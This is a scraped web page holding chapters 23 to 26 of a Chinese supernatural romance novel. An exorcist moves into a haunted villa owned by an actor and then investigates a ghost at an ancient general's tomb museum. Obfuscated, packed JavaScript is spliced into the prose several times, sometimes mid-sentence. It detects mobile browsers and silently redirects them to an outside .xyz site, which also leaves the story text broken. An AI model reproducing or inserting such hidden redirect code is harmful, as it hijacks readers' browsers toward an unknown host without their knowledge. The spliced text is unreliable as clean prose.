;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一位长辈摸了摸胡子，大家互相对视一眼：“那她应该是……心中有数吧？” “师傅她老人家有没有数我不知道……”简灵叹了口气，整个人懒散地瘫在沙发靠背上，“我只想知道现在该怎么办？我本想守株待兔，等那个恶鬼出现，但那玩意儿在人家的房子里……总不能买下来吧。” 简易撑着手肘往她那边靠了靠，好奇道：“华丹市现在房价多少？” “房价多少我也买不起别墅啊！” 虽说简家家底还算厚实，可一下拿出那么多钱来买华丹市著名的富人区别墅，那还是有点困难。 她纠结地抓抓头发：“我回来是想问问师傅和你们的想法，要实在不行只能先把那玩意儿封了。” “诶，那不合适。”一位白发老人拄着拐杖，颤颤巍巍地站起来，两道白眉紧紧皱在一起，“那恶鬼现在不知在哪作恶，如果封了它的鬼门关，一定会打草惊蛇。” “那三太爷你说怎么办。”简灵两手一摊，“总不能让我睡小区大街吧。” 几人一时间都沉默了，琢磨了半晌，简易试着提议：“你不是说那是个凶宅嘛？估计房主也难得出手，不然……先把它租下来怎么样？” 三太爷老眼一亮，拐杖往地面上一杵：“我看行！租的钱我们老简家还是出的起，阿灵啊，就只能先委屈你了，去当个看门的。” 鬼门关看门的？ 简灵指着自己的鼻子：“……我怎么觉得我像那个什么，地狱三头犬啊。” 23. 换了新房主 因为惦记着鬼门关的事情，简灵在家休息了两日就匆匆往回赶了。 在回去的路上，宁远观那边终于给简易回了电话，说是师傅麟一月已经平安到达，可一进观就闭关了，只说要查阅一些东西，并带话给简灵让她先不要作法封门。 “什么意思？” 那头的简易也很茫然：“我不知道啊，反正电话里就这么说的。你师傅那个脾气你自己也清楚，这两年也愈发古怪了。” “还好我也是准备先守株待兔，算了，走一步看一步吧。”简灵耸了耸肩，挂了电话，打着方向盘拐进了别墅区。 她今天没提前联系周老板，想先来看看情况，可远远地就看到那栋别墅前居然热闹起来了，时不时有人抬着家具出来，往搬家公司的车上搬。 想来也是，周老板既然要卖房，自然是得把屋里拾掇拾掇更好。 简灵靠边停了车，想赶紧跟周老板商量一下租房的事情，下车就看到门口站着一位穿着黑色T恤戴墨镜的男人，两手交叠在背后，如松树般杵在门口。 瞧着应该是上次周老板的保镖，戴着墨镜有点认不出脸。 刚走到花园门口，保镖下意识伸出手臂阻挡了一下，看到是简灵，他似乎愣了一瞬，很快放下胳膊，彬彬有礼地打招呼：“简小姐。” 果然是上次那个。 简灵冲他礼貌微笑，问道：“今天来收拾屋子了？” 保镖点点头：“是的，老板叫了搬家公司来清理旧家具，再彻底打扫一下卫生。” “你们老板也在？” “在的。”保镖指了指屋内，“不过他刚进去，接了个电话，还得麻烦您稍等片刻。” “哦哦，行。” 简灵往树荫底下躲了躲，撑在花园的门柱上百无聊赖地跟他闲聊：“你们老板这房子还真有点麻烦。” 保镖微微转头朝她看去，示意自己在听。 “也亏得他是个有福之人，在屋里不怎么受影响。”简灵打心眼儿里觉得这事儿麻烦，摇头晃脑地叹气，“你之前进这房子是不是就会觉得挺难受。” 想了一会儿，自己今天是第一次进这栋房子，保镖缓慢地回答：“……也还好。” “那你也是个命硬之人。” 简灵不由得看了他两眼，叹了口气继续说道：“我今天来是打算跟你们老板谈谈，看能不能租给我一段时间，这凶宅得彻底清理一遍才好……哎，不过你们老板估计也不太乐意。” 没想到保镖露出了几分惊讶的神情，眼睛被墨镜挡住也看不太清，他犹豫片刻：“如果是简小姐，我想我们老板应该是……十分欢迎的。” “真的吗？”简灵转过来瞧他，狐疑道，“比起租，他肯定还是宁愿卖掉吧？虽说这凶宅比起附近房价低了不少，但怎么说也比一个月一个月的收租更好。” 保镖终于回过神来，发现两人似乎在驴唇不对马嘴，满脸疑惑：“可老板昨天刚买下这房子，为什么要卖？” “……啊？” 简灵愣住，脑子还没反应过来就听到一个熟悉的声音响起： “简大师，听你的意思是想住下帮我镇宅？” 她迅速回头，一个意想不到的人出现在这里，正闲闲地靠在门边冲她微笑：“我当然是——非常欢迎。” 简灵心中一惊，后槽牙都咬紧了：“季，星，迟！你怎么会在这里？！” “你这话说的。”季星迟耸耸肩，“这是我家啊，刚买下的。” 不对吧？！ 简灵猛地转头在保镖和季星迟之间来回打量，半晌幽幽吐槽：“你不是周老板的保镖吗？” “周老板是……？”保镖思索片刻，才想起来上一任房主也姓周，恍然大悟，“哦——您不会是把我认成周老板身边那位保镖了吧？不是的，简小姐，我是季先生的司机，之前见过您几次。” 简灵：…… 你们干这一行的一定要统一着装戴墨镜吗！ 她憋了半天，无奈地对季星迟吐槽：“你买这房子干嘛？” “怎么了？这房子地段好位置好，还是临江，我可是跟周老板讨价还价了好一会儿呢。”季星迟耷拉着眼角，露出一副无辜的神情，“磨了好久才拿下的。” 一旁的保镖浑身一震，眼观鼻鼻观心，不敢吭声。 也不知道周老板报价时，是谁没有丝毫犹豫的一口就答应了下来。 难得看到简灵吃瘪，反正季星迟的心情好的不得了，眼中的笑意几乎都要溢出来了。 他走过来向她凑近了些，眨眨眼：“你刚才说，是不是想跟房主谈谈来着？” 简灵垮起脸沉默了半晌，慢吞吞地转身朝车走去：“过来，上车说。” * 事已成定局，简灵也只能硬着头皮跟季星迟谈。 “季星迟，你是要自己住吗？” “当然。”季星迟欣然点头，“这边去影视城也很方便，我没骗你，位置真的很不错。” “可是你不知道里面闹鬼么？”简灵微微皱眉，季星迟别是被忽悠了吧，周老板应该不是那样的人啊。 没想到季星迟毫不犹豫道：“知道啊，我看得到。” “那你还买？” “无所谓，周老板说你会解决的。”季星迟将手肘搁在中间的扶手箱上，身体向她靠过去一些，“况且它们刚才看到我的时候，好像都很怕我。” 简灵：“……你身上指不定有什么阴气。” “你刚才还说我是个有福之人呢。” “不要往自己脸上贴金。”简灵冷笑一声，面无表情，“那是说的你吗？” 她斟酌片刻，叹了口气：“季星迟，你能不能把这房子租给我一段时间？” “可以。” 简灵刚准备告知理由，冷不丁被他的回答惊到，话到嘴边差点咬到舌头：“……你问都不问为什么，就答应了啊？” “有没有理由都不重要，你免费住都行，我也不缺那点租金。”季星迟将目光转向自己刚买下的别墅，淡淡道，“不过我很好奇，你为什么对这房子这么执着？” 本来也做好了跟房主谈判的准备，至于房主是周老板还是季星迟都没差了，简灵的手指在方向盘上轻轻敲动着，将事情的大概告诉了他，只是隐去了门的存在，就说凶宅的魂环还在，那个恶鬼可能还会回来。 “……所以在恶鬼没有被清除之前，我守在这里是最保险的。”简灵微微蹙眉看他，神情中带着几分不赞同，“你不该买下这房子的，住在这里很危险……喂，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊……对了，厨房在一楼，我唯一的要求就是申请厨房共用——如果你想吃，我也可以勉强多煮一份。” “这个再说吧……什么时候可以入住了跟我说一声。” 说到这个，季星迟露出一丝得逞的表情：“那黑名单？” 简灵无奈地摸出手机，当着他的面把他从黑名单里拉了出来，突然屏幕上跳出来电显示，居然是谢慈打来的。 她对季星迟摆摆手：“行了，你可以走了。” 季星迟像是久坐腿僵了一般，缓慢地在副驾驶逼仄的空间内挪了挪大长腿，又慢吞吞地伸手去开门。 “怎么了谢慈，你没跟宁宁姐在一起吗？” “真的？？” “没事的，你妹妹肯定不记得你，也不是故意的。” “你们现在还在片场吗？” 听到这里，季星迟的耳朵一动，伸出的手又缩了回来。 简灵偏过头觑他一眼，以眼神示意他下车，可偏他当作没看见一般，安安稳稳地坐好。 “……好，你等我，我现在过去。”简灵说完便挂了电话，无语道，“你干什么，还不下车？” 季星迟手肘放回扶手箱上，轻轻拖着下颌，无辜地眨眨眼：“你是不是要去秦雨宁现在的片场？” “关你屁事。” “载我一程。” 简灵横了他一眼：“你去干嘛？” “咦，她没告诉你吗？”季星迟微微一笑，“她现在拍的那部宫廷历史剧，里面有我客串的一个角色。” 24. 妹妹的转世 沉默了半晌，简灵终于妥协了。 她一边认命地打开导航，一边吐槽道：“哦，二搭是吧，你们娱乐圈真是来来回回就这些人交叉换乘。” “不不不，不是二搭。”季星迟微微坐直了上半身，严谨道，“只是客串一个角色，没有感情戏。这部剧是郑文德从执导电影转到视剧的第一部，鉴于《三盏烛台》的影响力比较大，他就想让我来客串一下。” “那你客串个什么角色？”简灵随口问道。 “秦雨宁他爸。”季星迟挑眉，“年轻时候。” 简灵“啧”了一声。 两人很快到达片场，所有人的眼神都是先轻轻飘过，再猛地愣愣回头看，季星迟除了宣传电影或者走红毯，基本没跟异性同频出现过，出道这么多年连个绯闻都没有，在场的只有几个知情人才知道季星迟和简灵认识。 秦雨宁正好在跟郑文德讨论剧情，一扭头看到两人一起走过来，哑然失笑：“真是稀奇，你俩怎么一起来了？” “哦，接了个顺风车乘客。”简灵面无表情，季星迟则笑吟吟的样子。 郑文德自然也认识简灵，可以说当年整个《三盏烛台》的剧组都是被简灵和她师傅救下的。 他立刻站起来向简灵点头招呼：“简灵，好久不见，你师傅她老人家身体怎么样？” “挺好的，托郑导的福。”简灵礼貌笑笑，“她精神好，闲不住，腿脚也利索的不得了，前几天还一个人爬山去了。” 宁远观在山上，这也算是爬山吧。 郑文德这个严肃老头听完也忍不住笑了：“挺好，麟大师都70了吧，她向来心境平和，精神头十足，比我们这些天天疲于奔命的老骨头都好得多。” “简灵心态也不错，还乐意给季星迟当司机了。”秦雨宁挑眉，调笑道。 她可太清楚两人之间的关系了，总而言之就是季星迟死缠烂打，简灵避之不及，能看到简灵心平气和地跟季星迟一起出现，也真是太阳从西边出来了。 “呵呵……”简灵嘴角抽动两下，忽然冲她眨眨眼，哂笑道：“听说季星迟要给你当爹了。” 秦雨宁笑不出来了，嗔怒地瞪了她一眼。 “不打扰你们聊剧本了！”简灵嘿嘿一笑就准备开溜，“我找谢慈去，她人呢？” 郑文德指了个方向：“谢小姐身手很好，雨宁引荐她来配合我们的武指去给配角们训练，现在应该还在那儿。” 看着她一溜烟儿离开，季星迟含笑的目光跟随着她的背影一直到转弯消失不见。 “回神了。”郑文德伸出手在他眼前晃了晃，忍不住摇了摇头。 秦雨宁和季星迟这两个年轻演员是他一手调教出来的，也都是他一眼选中的角儿，可以说是当自己的孩子在培养也不为过。 本以为季星迟比秦雨宁要稳重些，没想到碰上了简灵。 平日里越是持重的人，可能越是会执着于某项事物、某种感情，或者某个人。 跟她师傅一样，简灵那样的奇女子跟他们或许都不是一个世界的人，季星迟一头栽进去，怕也是有的受了。 * 片场角落的一片空地旁，远远看到谢慈一个人坐在台阶上，背脊挺得笔直，目不转睛地望着空地上的几个人。 “谢慈。”简灵轻轻拍她的肩，在她旁边坐下。 谢慈连头都没回，难得舒展的眉眼含着一丝欣喜与温柔，放在膝盖上的手指动了动：“看那儿，就是她。” 场地中间站着一个看起来大概二十岁左右的女孩子，扎着高高的丸子头，碎发被汗水沾湿，有些黏腻的贴在额边。她一手握着比自己还高的红缨枪，另一手背狠狠擦了擦汗，白皙的脸颊因太热而变得通红。 不能说跟谢慈一模一样，的确是有个六七分相似，只是通体看上去比谢慈要活泼许多。 “还真是像……”简灵微微惊叹，没想到茫茫人海，真能遇上谢慈的妹妹转世。 “她跟以前长得不太一样。”谢慈声音平和，语气中带着一丝怀念，“可我方才一见着她，便有一种异样的感觉……仿佛我们血脉相连，从未分离过。” 没等谢慈再说下去，那边就传来惊天地泣鬼神的嚎哭声，给简灵都吓得一激灵。 只见那个女孩子忽然把手中的长枪往地上一扔，满面委屈地大喊大叫：“我不练了！这太难了我不想练了！之前不是说好了打戏让替身来的嘛，为什么现在又要我练这个！” 一旁的武指老师想安慰地拍拍她的肩膀，也被她挣扎着躲开，看起来就像是一个任性的小孩。 “她这……” 简灵惊疑不定地看谢慈，可谢慈也只是微笑道：“她从小未接触过功夫，现在练多少要吃点苦，发发脾气也是应当的。” 简灵：…… 你不要太溺爱孩子啊喂！ “金子月！” 随着一声厉喝响起，一个带着金丝眼镜的中年女性朝她走过去，白衬衫袖口整齐地挽到手肘，她双手抱臂皱眉盯着女孩子： “不要任性，你的替身这次是生病了，短时间内不能来。如果以后她辞职不干了你怎么办？难道你就不演戏了吗？！” 来人是秦雨宁的经纪人安娜，是圈内有名的大佬，向来严肃认真公事公办，看起来这是想让她再带个厉害的新人出来。 金子月不敢反驳她，将脸撇向一边。 “捡起来。”安娜冷声道。 看着金子月委屈的模样，谢慈身体微动，刚想冲过去就被简灵拦下。 简灵冲她摇摇头，带着她慢悠悠地走过去，笑吟吟地打招呼：“安娜姐，好久不见，带新人吗？” “简灵来了。”看到有外人在，安娜也不好再发脾气，按下怒意朝她点头，“这是子月，公司的新人。多谢你给剧组引荐了谢慈小姐，她跟我们武指老师配合得很不错，动作干净漂亮，很上镜。” “多大点事儿。”简灵摆摆手，好奇地看向金子月，“打戏确实不容易，这小妹妹的打戏很多么？谢慈挺有耐心的，可以让她多教教。” 可没想到金子月却对她怒目而视，气冲冲地吼道：“谁要她教了？！她打得好就让她做我的替身不就行了！” 安娜厉声喝止：“金子月！” 没想到这小姑娘脾气这么大，简灵也是一惊，而金子月被安娜吼了之后也撂挑子不干，直接转身跑了。 “子月……”谢慈微微蹙眉，踟蹰片刻，担忧地朝她追了上去。 安娜气得胸口疼，深吸几口气冷静下来：“她就是这样骄横，一点也没学到雨宁的沉着冷静！” 人家公司内部的事情简灵也不好多说什么，只“啧”了两声，问道：“干什么了这是，光练练打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289423|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏就脾气这么大？” “呃……也不是。”武指老师瞧了一眼安娜，犹豫道，“早上秦小姐带着谢小姐过来，当着大家的面夸了谢小姐很久，还让她跟我一起教大家练打戏……然、然后有人就说谢小姐跟金小姐长得很像，但比她靠谱，秦小姐是不是想……” 武指老师的声音越来越小，也是一副犹疑不定的模样。 哦—— 简灵懂了，小姑娘以为公司前辈找了个她的高配来，自己的地位可能不保了。 “她是不是傻！”安娜扶额。 “别气了，安娜姐。”简灵劝道，“金子月看着年纪不大，还是个小姑娘呢，钻牛角尖也正常。” 可安娜急急道：“雨宁到她这个年纪的时候都已经拿过最佳新人了，可她呢？明明外形、天赋都不错，人也努力，可性格……” “安娜姐。”简灵直直地看着她，“不是谁都能像宁宁姐那样顶住你给的压力的。” 一旁的武指老师也劝道：“是啊安娜姐，虽说不用替身是很好，但金子月她本来天生体质就比较虚弱，你让她一下子接受这么高强度，谁也顶不住的。” “我……”安娜叹了口气。 * 回到片场时，简灵远远地看到谢慈还陪着金子月坐在角落里，不知在小声说着什么，而金子月只气鼓鼓地别过头。 她走到秦雨宁身边坐下：“宁宁姐，那个金子月演的是个什么角色，打戏多吗？” “挺多的。”秦雨宁合上剧本，眼神也飘了过去，“她演的小公主，深受帝后宠爱，从小习武，戏份也不少……如果她真练不好就只能考虑再找个替身，可惜了，之前她那个小替身还挺不错的，身型长相也类似。” “可惜谢慈比她高太多了，不然也能高低给她当个替身，谢慈肯定乐意。” 秦雨宁摇了摇头：“她不能永远想着找替身，慢慢来吧。” “诶，宁宁姐。”简灵双手托着下巴，冲秦雨宁眨眨眼，“你有打戏吗，要不要我教你？” “没有。” “遗憾退场。” “我有。”季星迟不知道什么时候靠了过来，笑眼弯弯的样子，“你可以教我。” 简灵横他一眼：“去找武指老师。” “好冷漠，我真的有很多打戏。”季星迟捏着剧本坐下，翻开来给她看，“大燕最骁勇善战的定远侯，在凯旋的路上被奸臣陷害而死。” 这部宫廷剧是根据历史改编的，讲的就是这位定远侯遗腹子的故事。 在定远侯死后，崔元香被封郡主，可没有了父辈的帮持过得步履维艰，长大后还被送往大成和亲。 她一个人在危机四伏的宫廷内一步步向上爬，最终扶持自己不满十岁的小儿子登上帝位，垂帘听政。 “……听说她死前要求回国与父母合葬，就在定远侯的陵墓中。这个陵墓在好些年前就被挖掘了，现在成了个挺热门的景点。” 秦雨宁兴致勃勃，拉着简灵问道：“老郑说过两天要带我们去参观参观，听听讲解啥的，加强一下代入感，你要不要一起去玩？” “很遗憾，这个暂时去不成了。”季星迟礼貌打断她们，“刚才听到他们说定远侯陵墓买不了票，据说是临时关门了。” “啊？怎么回事啊？” “好像说是……闹鬼了。” 25. 流血的盔甲 送上门的活动，不参加白不参加，反正也是闲着。 没过两天，简灵就跟着秦雨宁他们几个人一起来到了关昌陂，一个西部小城的郊外，也就是定远侯陵墓的所在地。 这儿比华丹市更加闷热无风，要不是出了个古代陵墓，估计这个交通不便的小城一辈子都不会迎来这么多游客。 一进到关昌陂博物馆，空调冷气终于缓解了几分暑热，简灵四处打量着博物馆，这里面果然充斥着几分沉沉的阴气。 博物馆的蔡馆长早就接到了剧组的联络，此时热情地将他们引进接待室。 “欢迎你们，郑导演拍电视剧愿意来我们关昌陂实地考察，我们真是荣幸之至。”蔡馆长是一位上了年纪的女士，花白的头发一丝不苟地梳整齐，脸上带着睿智慈祥的笑容，“没想到还能见到两位大明星，真是幸会。” 郑文德看着跟屁虫一样来了一连串的几个年轻人，无奈地摇了摇头。 本来只是简灵自告奋勇要来调查，剧组只需要出面帮忙联系一下就好。 可偏偏季星迟说自己也要来参观感受一下定远侯这个角色的格调，于是秦雨宁就提议按原计划进行，反正闹鬼这事儿简灵肯定能解决。 不过最终还是没按原计划来，怕引起剧组其他人的恐慌，只有郑文德带着简灵和两位主演来了，金子月眼巴巴地想跟着一起，却被安娜按回去继续练习打戏，谢慈也留下来陪她。 当然，简灵没带谢慈来还有一个原因——她没有身份证，买不了机票。 虽说可以变回纸人揣进兜里，到了地方再变回来，可毕竟这一趟要与郑文德同行，万一吓到这个小老头怎么办，得不偿失。 郑文德向蔡馆长说明了来意，一提此事她就叹气：“之前也跟你们在电话中沟通过，闹鬼这事是真的。不仅如此，在你们来之前，博物馆里也刚刚因为闹鬼闭门了……我们还在调查情况。” “是怎么个闹鬼法？”秦雨宁问道。 蔡馆长回忆道：“馆里是监控设备经短路，画面经常一闪一闪的。” “本来一开始以为是电路短路了，可是……监控室的同事还隐约看到了好几个人的脸，一个个吓得都不敢来上班了。”她自己也看到了，此时想起来仍然心有余悸地拍拍胸口。 “唔……电子屏幕闪回人影，这的确是一些游魂作怪的经典套路。”简灵思索片刻，“那墓下呢？” “墓下更是不得了！”蔡馆长的脸色变得煞白，“有很多游客都看到了鬼魂杀人的场景。” * 在一番斟酌后，简灵决定先去博物馆里看看。 郑文德被按在接待室休息，季星迟笑道：“老郑，你这一把年纪就别跟折腾了。” “就是，别说撞鬼了，万一闪了腰我们也担待不起啊。”秦雨宁补刀，“你就陪蔡馆长在这儿聊聊天得了。” 拗不过他们，郑文德只能千叮万嘱他们小心为上。 蔡馆长喊了一个年轻憨厚的小伙子：“小刘，你带这几位去馆里转一转。” 之前好些员工被闹鬼这事儿吓到，蔡馆长就干脆让大家放假先回家休息，等调查结束了再回来，小刘是馆里的解说员，胆子也大，于是自告奋勇留下来陪馆长一起。 “厉害。”简灵向他竖起大拇指，“蔡馆长也厉害，居然一点也不怕。” “哪里哪里，我只是个解说员，不厉害。”小刘边说推开展馆的门让他们进，“蔡馆长才厉害！她一直把博物馆当家一样，用心维护，我们都很敬佩她的。” 说着他感觉到手中一松，偏头看去居然是季星迟帮他抵住了门，示意他先走。 小刘不好意思地摸摸头，冲他感谢一笑。 “我记得这间博物馆有三十多年了。”季星迟轻轻关好门，接上他的话，“陵墓刚挖掘的时候就建了起来，只是那时还没有配套的景区，景区是近几年才设立的吧。” “这你都知道啊。”简灵惊讶地看他一眼，“厉害了。” 季星迟微微移开目光，淡淡道：“既然要演这个角色，做好资料调查是应该的。” “嗯嗯，季先生说的没错。” 小刘点点头继续带着他们向里走，这一路他的解说既生动又详细，简灵三人再加上保镖和助理，一行人竟有点像旅行团，认真地听着小刘的讲解。 虽然这间被冠名为关昌陂博物馆，但实际绝大多数展品都是从定远侯陵墓中挖掘出来的，还有部分相关他的女儿崔元香。 “没有崔元香母亲的东西吗？”简灵冷不丁问了句。 小刘微微一愣，摇摇头：“还真没有。历史上关于崔元香的记录有很多，毕竟是一代传奇，她父亲定远侯也是挖掘出这座古墓后才了解一些情况，至于她母亲……据说是因为生下她后没多久就去世了，所以没有更多记载。” 秦雨宁好奇道：“这座墓不是她父母的合葬吗？” “据记载是这样没错。”小刘想了想，“但当时挖掘时发现这座墓葬分为上下两层，她的母亲在上面一层，在很多年前被盗墓贼光顾过，所以许多东西都被盗走了，没有留下什么有价值的文物和相关记载。” 几人正听得起劲，馆内的灯突然闪烁了几下，“啪”一声，暗了下来。 与此同时，一股莫名的阴风袭来，让本就凉气充足的馆内更加阴冷。 “唉，又来了……明明前几天墓下才消停点儿，馆里又这样了。” 工作不易，小刘叹气。 简灵挑眉，博物馆内陈列的基本都是从古墓中挖出来的文物，多少沾点因果，有点游魂也不算罕见，一般都是对人没什么影响的小鬼，有的甚至不能说是鬼，只是一股淡淡的能量。 可关昌陂博物馆里明显是有喜欢作祟的东西，会主动吓唬人，她倒要看看是哪只小鬼这么无聊。 “嘘。” 简灵闭上眼睛，细细感受了片刻，再睁开时世界已是一片灰暗。 馆内空气中鬼气混杂，有展品上残留的，有小鬼经过时的痕迹，也有…… 她偏头看去，季星迟正站在旁边静静地等待着，似乎是感受到了她的目光，视线移过来，对她淡淡一笑。 这家伙身上的鬼气太抢嗅觉了，虽然不似正常鬼气那般能循到痕迹，但奈何简灵的鼻子实在是过于灵敏了。 简灵揉了揉鼻子，试图挥散季星迟的气味。 “跟我来。”她轻声道，抬眼望向道路尽头的一件展示文物。 小刘顺着她的目光看去，露出疑惑的神情：“那件士兵盔甲有什么问题吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298345|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玻璃展台中是一副较为完整的士兵盔甲，虽然经过了一定程度的修复，仍能看见锈迹斑斑，那黑红的锈迹在昏暗的光线下看起来竟如血迹一般—— 顺着盔甲的缝隙缓缓往下流。 “……流、流血了？！”秦雨宁倒吸一口凉气，抓住助理的胳膊。 饶是胆子再大，看到这幅诡异场景的几人都忍不住后退了两步，阴冷气息瞬间袭上后背，小刘更是鸡皮疙瘩起了一身，狠狠揉了揉眼睛：“这、这之前可没见过啊……” 盔甲很是高大，还放在半人高的玻璃展台中，简灵微微仰头，那姿势仿佛是在瞻仰着至高无上的神佛，可她却只是轻笑了一声。 “你们……”简灵扭头，看了一圈只有季星迟还淡定地站在她身边，手指一顿，“来搭把手。” 季星迟挑眉，乖顺地向她靠近一步。 “借个力。” 简灵话音刚落，伸手借他的肩膀一用力，脚下轻轻一蹬，整个人如同一只轻盈的猫往上窜去，手指扣住展台的顶部，玻璃与围墙的缝隙比她想的要窄，脚尖踩住承不住太多力。 下一秒，一只胳膊就垫了过来。 她微微低头，季星迟正仰面看她，举着小臂垫着她的脚下。 简灵轻声道谢，此时的她已经跟展台中的士兵盔甲几乎平齐，眼睛平视着头盔里面，黑洞洞的一片。 “还躲呢？”简灵嗤笑，空出来的那只手迅速掐了个诀，盔甲颤动片刻，那些血迹瞬间消失不见，好像一切都是他们看错了。 秦雨宁立刻反应过来：“幻觉？” “是的，都是些小把戏。”简灵凝视着头盔里那团黑色，没多久就缓缓显露出一双眼睛。 那眼睛愣愣地眨了两下，露出惊讶的神情，瓮声瓮气道：“妈的，要赶快告诉他们，阴差追过来了！” “想跑！” 简灵脚下用力一踩，踩得季星迟差点一个趔趄赶紧扶住玻璃站稳，而简灵已经借力向另一边窜去。 她一手扣住顶部，身体在半空中围着玻璃展台荡了半圈，腹部绷紧，双脚伸展一个飞踢！ 那个逃出来的小鬼在一瞬间仿佛有了实体，倏尔闪烁了一下，整个鬼跌落在地，被简灵一巴掌拍上黄符。 “跑什么，我又不吃鬼。”简灵挑眉，这鬼居然穿着古代士兵的战袍。 除了季星迟能看见模糊的鬼影，其他几人什么都看不到，只能看到一张黄符在近地面悬空翻滚乱晃，很快被简灵一巴掌扇老实了。 众人：…… 简大师训鬼比我们训狗厉害多了。 那小鬼见打不过简灵，一骨碌爬起来，老老实实地跪在地上：“大人饶命。” 季星迟“噗”一下笑出声，引得那小鬼怒目而视，可惧于简灵的威风也只能小发雷霆，恨恨地瞪着他。 “笑什么？”简灵觑他一眼。 “如果这定远侯能让你来演，应该也挺威风。”季星迟轻笑道，“他这跪下喊大人饶命的架势还挺有趣的。” 哪知道小鬼就没听明白他在说什么，只猛地抬起头，神色慌张，顾左右而言他：“什么定远侯？我可不认识什么定远侯定近侯的啊，别瞎说！” 简灵与季星迟对视一眼，都有点想笑，这是……不打自招了？ 26. 下墓 “哦。”季星迟点了点头，“知道了，你是定远侯的手下。” 旁边围观的几人不明所以，听到这儿也很是震惊，尤其是小刘惊讶道：“你们的意思是，最近博物馆和墓下闹鬼的是……是……” 简灵点点头：“看起来是这样没错。” 她蹲在小鬼面前，指着那副盔甲问道：“你怎么这么多年了还没走，难道来捣乱就是为了穿那玩意儿啊？” 小鬼哼了一声，撇过脸去。 “估计生前只是个马前卒，小喽啰，穿不了这个级别的盔甲。”季星迟跟她一唱一和地嘲讽道，“现在死了来过过瘾。” “你放屁！”那小鬼果然被激得跳脚，“老子生前可是定远侯手下第一情报官！侯爷的左膀右臂！会眼馋这种普通兵卒的衣服？？” 简灵长长的“哦”了一声：“第一情报官，却被派上来侦查？” “所以谁能指挥得动你呢，难道是——”季星迟默契接话，“定远侯本人？” 小刘几人倒吸了一口凉气。 * “你的意思是，定远侯的鬼魂还在陵墓之中？” 蔡馆长也异常震惊，她本身是个唯物主义者，根本不信什么亡魂什么转世的，可最近发生的事情让她也不得不重新审视自己的想法。 “可他为什么最近突然出现了？” “那小鬼不愿说。”简灵摇了摇头，“所以，我准备亲自下去看看。” “啊？？”小刘唰的瞪大了眼睛，结巴道：“您、您还能下去啊？……是、是肉身能下去，还是说只是通灵……吗？” 简灵难得哽了一下，顿了顿才说道：“……我的意思是，到你们景区那个陵墓里去看看。” “哦哦……”小刘闹了个大脸红。 本来小刘说想跟着一起下去当个向导的，可简灵摇摇头拒绝了：“你们又看不见它们，帮不上什么忙，蔡馆长，麻烦给我看看墓下的游览地图。” 很快蔡馆长就拿着一份大地图铺在桌上，几个人都围上来看。 幸好作为一个景点，现在陵墓的开发已经做的很完善，蔡馆长伸手给她示意着：“我们的动线很流畅，从入口进入地下一层，顺着一条参观路线下到二层，再绕出来就到出口了。” 她的语气从容，就像是一个平平无奇的工作日在给员工们下达巡视的指令而已。 简灵抬起头，目光炯炯：“蔡馆长好像并不是很担心？” “嗯？” 蔡馆长怔了怔，随即笑着捋了下耳鬓垂下的银白发丝，语气温柔而平淡：“如果你在这里工作了三十年，熟悉墓下和馆里的每一砖每一瓦、每一个灯泡……你也不会担心的。” 她扶着桌子缓缓站起来，轻轻锤了锤有些僵硬的肩背： “当年我参加了这座陵墓的挖掘工作，从博物馆建立起来的那天开始，作为馆长我几乎把这儿当成了第二个家。我研究历史，更研究定远侯这个人……三十多年了，饶是陌生人也能摸得透彻。” 说着说着，蔡馆长露出一丝柔和的笑意：“如果真如简小姐所说，那墓下的鬼魂是他……我觉得也不会是什么伤人的恶鬼。” 简灵若有所思地看着她，那语气仿佛不是在评价一个历史人物，而更像是提起了自己的亲人一般熟悉。 “好。”简灵笑了笑，表示认同，“我觉得也是，不说这么多年都没出现过，现在出现也只是吓唬吓唬人，并没有谁受伤。” 小刘也恍然大悟：“说的对啊，虽然很多人看到了诡异的景象，但也只是被吓到了，刚才那小鬼也没有伤害我们的意思。” “所以——”简灵又扫了一遍地图，随手卷起还给了蔡馆长，“我去问问他，到底想干什么。” 随着她起身准备出发，旁边一人也跟着推开椅子站起来。 众人的疑惑地目光都聚焦到季星迟的身上，简灵问：“你干嘛？” “跟你一起去。”季星迟回道，故作惊讶，“你刚才不是说他们看不见鬼，帮不上忙么？但我看得见。” * 随着“咔吱”一声响，电梯缓缓下行。 陵墓景区的电梯为了安全性，不仅独立供电，做的也是那种老式钢架，外层是坚固的金属网格，简灵二人仿佛被关在一座囚笼之中，逐渐沉入暗无天日的地下。 看着地下亮如白昼的灯光……虽然偶尔会诡异地闪烁几下，但好像也没有那么暗无天日。 两人走出电梯，一股独属于地下的阴冷空气扑面而来。 空调和换气系统因为电流不稳而全面关闭，空气中还带着一丝淡淡的、腐朽的潮气。 脚下是平整的路面，作为景区天天接待大量的游客，连黄土路都被踩成了水泥地一般瓷实，路旁的围栏将游客与墙面隔绝开来。 